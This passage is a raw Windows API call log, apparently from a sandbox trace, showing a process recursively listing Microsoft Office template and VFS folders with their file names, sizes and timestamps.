nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="16", cAlternateFileName="")) returned 0 [0284.147] FindClose (in: hFindFile=0xb02ec8 | out: hFindFile=0xb02ec8) returned 1 [0284.147] GetProcessHeap () returned 0xaf0000 [0284.147] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3a61058 | out: hHeap=0xaf0000) returned 1 [0284.147] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb81fa9e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb81fa9e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb81fa9e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1db9f, dwReserved0=0x0, dwReserved1=0x0, cFileName="OriginLetter.Dotx", cAlternateFileName="ORIGIN~3.DOT")) returned 1 [0284.147] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb7f98f4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb7f98f4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb81fa9e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x59f49, dwReserved0=0x0, dwReserved1=0x0, cFileName="OriginReport.Dotx", cAlternateFileName="ORIGIN~2.DOT")) returned 1 [0284.147] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb7f98f4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb7f98f4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb7f98f4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x21aa3, dwReserved0=0x0, dwReserved1=0x0, cFileName="OriginResume.Dotx", cAlternateFileName="ORIGIN~1.DOT")) returned 1 [0284.147] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb81fa9e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb81fa9e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb81fa9e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x75b3, dwReserved0=0x0, dwReserved1=0x0, cFileName="PersonalMonthlyBudget.xltx", cAlternateFileName="PERSON~1.XLT")) returned 1 [0284.147] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb7f98f4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb7f98f4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb7f98f4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2e590, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pitchbook.potx", cAlternateFileName="PITCHB~1.POT")) returned 1 [0284.147] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x3b9607ff, ftCreationTime.dwHighDateTime=0x1d47c34, ftLastAccessTime.dwLowDateTime=0x3b9607ff, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3b9607ff, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x3b42, dwReserved0=0x0, dwReserved1=0x0, cFileName="PROJPLAN.XLTX", cAlternateFileName="PROJPL~1.XLT")) returned 1 [0284.147] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb8921ae, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb8921ae, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb8921ae, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x17697, dwReserved0=0x0, dwReserved1=0x0, cFileName="QuizShow.potx", cAlternateFileName="QUIZSH~1.POT")) returned 1 [0284.148] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb86bf6b, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb86bf6b, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb8921ae, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xcdbb, dwReserved0=0x0, dwReserved1=0x0, cFileName="RedAndBlackLetter.dotx", cAlternateFileName="REDAND~2.DOT")) returned 1 [0284.148] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb81fa9e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb81fa9e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb8b847f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1b56a6, dwReserved0=0x0, dwReserved1=0x0, cFileName="RedAndBlackReport.dotx", cAlternateFileName="REDAND~1.DOT")) returned 1 [0284.149] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb845d09, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb845d09, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb86bf6b, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xa8ed, dwReserved0=0x0, dwReserved1=0x0, cFileName="SalesReport.xltx", cAlternateFileName="SALESR~1.XLT")) returned 1 [0284.149] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb8921ae, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb8921ae, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb8921ae, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x9fc51, dwReserved0=0x0, dwReserved1=0x0, cFileName="StudentReport.dotx", cAlternateFileName="STUDEN~1.DOT")) returned 1 [0284.149] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x3c29db74, ftCreationTime.dwHighDateTime=0x1d47c34, ftLastAccessTime.dwLowDateTime=0x3c29db74, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3c2c3dcb, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x2aea, dwReserved0=0x0, dwReserved1=0x0, cFileName="TASKLIST.XLTX", cAlternateFileName="TASKLI~1.XLT")) returned 1 [0284.149] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb8b847f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb8b847f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb8b847f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x44ff, dwReserved0=0x0, dwReserved1=0x0, cFileName="TimeCard.xltx", cAlternateFileName="TIMECA~1.XLT")) returned 1 [0284.149] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb8921ae, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb8921ae, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb8b847f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xcf18, dwReserved0=0x0, dwReserved1=0x0, cFileName="TimelessLetter.dotx", cAlternateFileName="TIMELE~2.DOT")) returned 1 [0284.149] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb8921ae, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb8921ae, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb8b847f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x43753, dwReserved0=0x0, dwReserved1=0x0, cFileName="TimelessReport.dotx", cAlternateFileName="TIMELE~3.DOT")) returned 1 [0284.149] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb8921ae, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb8921ae, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb8b847f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xbe72, dwReserved0=0x0, dwReserved1=0x0, cFileName="TimelessResume.dotx", cAlternateFileName="TIMELE~1.DOT")) returned 1 [0284.149] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb8921ae, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb8921ae, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb99d23b, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x12f35d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Training.potx", cAlternateFileName="TRAINI~1.POT")) returned 1 [0284.150] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb976f98, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb976f98, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb99d23b, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2df34, dwReserved0=0x0, dwReserved1=0x0, cFileName="WidescreenPresentation.potx", cAlternateFileName="WIDESC~1.POT")) returned 1 [0284.150] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb976f98, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb976f98, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb99d23b, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x52f3, dwReserved0=0x0, dwReserved1=0x0, cFileName="Word 2010 look.dotx", cAlternateFileName="WORD20~1.DOT")) returned 1 [0284.150] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb976f98, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb976f98, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb99d23b, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x52f3, dwReserved0=0x0, dwReserved1=0x0, cFileName="Word 2010 look.dotx", cAlternateFileName="WORD20~1.DOT")) returned 0 [0284.150] FindClose (in: hFindFile=0xb03208 | out: hFindFile=0xb03208) returned 1 [0284.150] GetProcessHeap () returned 0xaf0000 [0284.150] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x36cc2b0 | out: hHeap=0xaf0000) returned 1 [0284.153] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fcf168 | out: lpFindFileData=0x2fcf168*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x24517fc9, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x24517fc9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x24517fc9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="Presentation Designs", cAlternateFileName="PRESEN~1")) returned 1 [0284.153] GetProcessHeap () returned 0xaf0000 [0284.191] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x36cc2b0 [0284.191] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Templates\\Presentation Designs\\*", lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x24517fc9, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x24517fc9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x24517fc9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb03208 [0284.193] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x24517fc9, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x24517fc9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x24517fc9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0284.193] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x24517fc9, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x24517fc9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x24517fc9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x5ba, dwReserved0=0x0, dwReserved1=0x0, cFileName="Maple.gif", cAlternateFileName="")) returned 1 [0284.193] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x24517fc9, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x24517fc9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x24517fc9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x5ba, dwReserved0=0x0, dwReserved1=0x0, cFileName="Maple.gif", cAlternateFileName="")) returned 0 [0284.193] FindClose (in: hFindFile=0xb03208 | out: hFindFile=0xb03208) returned 1 [0284.193] GetProcessHeap () returned 0xaf0000 [0284.194] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x36cc2b0 | out: hHeap=0xaf0000) returned 1 [0284.194] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fcf168 | out: lpFindFileData=0x2fcf168*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x24517fc9, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x24517fc9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x24517fc9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="Presentation Designs", cAlternateFileName="PRESEN~1")) returned 0 [0284.194] FindClose (in: hFindFile=0xb03148 | out: hFindFile=0xb03148) returned 1 [0284.194] GetProcessHeap () returned 0xaf0000 [0284.194] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3a50048 | out: hHeap=0xaf0000) returned 1 [0284.195] FindNextFileW (in: hFindFile=0xb02d88, lpFindFileData=0x2fcf3f0 | out: lpFindFileData=0x2fcf3f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x845a7d02, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeb2fdc25, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0xeb2fdc25, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="VFS", cAlternateFileName="")) returned 1 [0284.195] GetProcessHeap () returned 0xaf0000 [0284.195] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3a50048 [0284.195] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\VFS\\*", lpFindFileData=0x2fcf168 | out: lpFindFileData=0x2fcf168*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x845a7d02, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeb2fdc25, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0xeb2fdc25, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb03148 [0284.196] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fcf168 | out: lpFindFileData=0x2fcf168*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x845a7d02, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeb2fdc25, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0xeb2fdc25, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0284.196] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fcf168 | out: lpFindFileData=0x2fcf168*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x845a7d02, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xaf31749c, ftLastAccessTime.dwHighDateTime=0x1d47c31, ftLastWriteTime.dwLowDateTime=0xaf31749c, ftLastWriteTime.dwHighDateTime=0x1d47c31, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="Common AppData", cAlternateFileName="COMMON~2")) returned 1 [0284.196] GetProcessHeap () returned 0xaf0000 [0284.196] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x36cc2b0 [0284.197] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\VFS\\Common AppData\\*", lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x845a7d02, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xaf31749c, ftLastAccessTime.dwHighDateTime=0x1d47c31, ftLastWriteTime.dwLowDateTime=0xaf31749c, ftLastWriteTime.dwHighDateTime=0x1d47c31, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb03208 [0284.197] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x845a7d02, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xaf31749c, ftLastAccessTime.dwHighDateTime=0x1d47c31, ftLastWriteTime.dwLowDateTime=0xaf31749c, ftLastWriteTime.dwHighDateTime=0x1d47c31, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0284.197] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf9f15ef0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xaf31749c, ftLastAccessTime.dwHighDateTime=0x1d47c31, ftLastWriteTime.dwLowDateTime=0x5a112a2, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft", cAlternateFileName="MICROS~2")) returned 1 [0284.197] GetProcessHeap () returned 0xaf0000 [0284.197] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3a61058 [0284.198] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\VFS\\Common AppData\\Microsoft\\*", lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf9f15ef0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xaf31749c, ftLastAccessTime.dwHighDateTime=0x1d47c31, ftLastWriteTime.dwLowDateTime=0x5a112a2, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02c08 [0284.198] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf9f15ef0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xaf31749c, ftLastAccessTime.dwHighDateTime=0x1d47c31, ftLastWriteTime.dwLowDateTime=0x5a112a2, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0284.198] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf9f15ef0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x381f2dc, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2e2e5eac, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="OFFICE", cAlternateFileName="")) returned 1 [0284.198] GetProcessHeap () returned 0xaf0000 [0284.198] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3666250 [0284.199] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\VFS\\Common AppData\\Microsoft\\OFFICE\\*", lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf9f15ef0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x381f2dc, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2e2e5eac, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02c88 [0284.200] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf9f15ef0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x381f2dc, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2e2e5eac, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0284.200] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfa911c96, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfa911c96, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfa937f07, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x1536, dwReserved0=0x0, dwReserved1=0x0, cFileName="AssetLibrary.ico", cAlternateFileName="ASSETL~1.ICO")) returned 1 [0284.201] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf9f15ef0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf9f15ef0, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf9f15ef0, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x627e, dwReserved0=0x0, dwReserved1=0x0, cFileName="DocumentRepository.ico", cAlternateFileName="DOCUME~1.ICO")) returned 1 [0284.201] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2e2e5eac, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x2e2e5eac, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2e2e5eac, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Heartbeat", cAlternateFileName="HEARTB~1")) returned 1 [0284.201] GetProcessHeap () returned 0xaf0000 [0284.201] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3696268 [0284.202] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\VFS\\Common AppData\\Microsoft\\OFFICE\\Heartbeat\\*", lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2e2e5eac, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x2e2e5eac, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2e2e5eac, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02d48 [0284.202] FindNextFileW 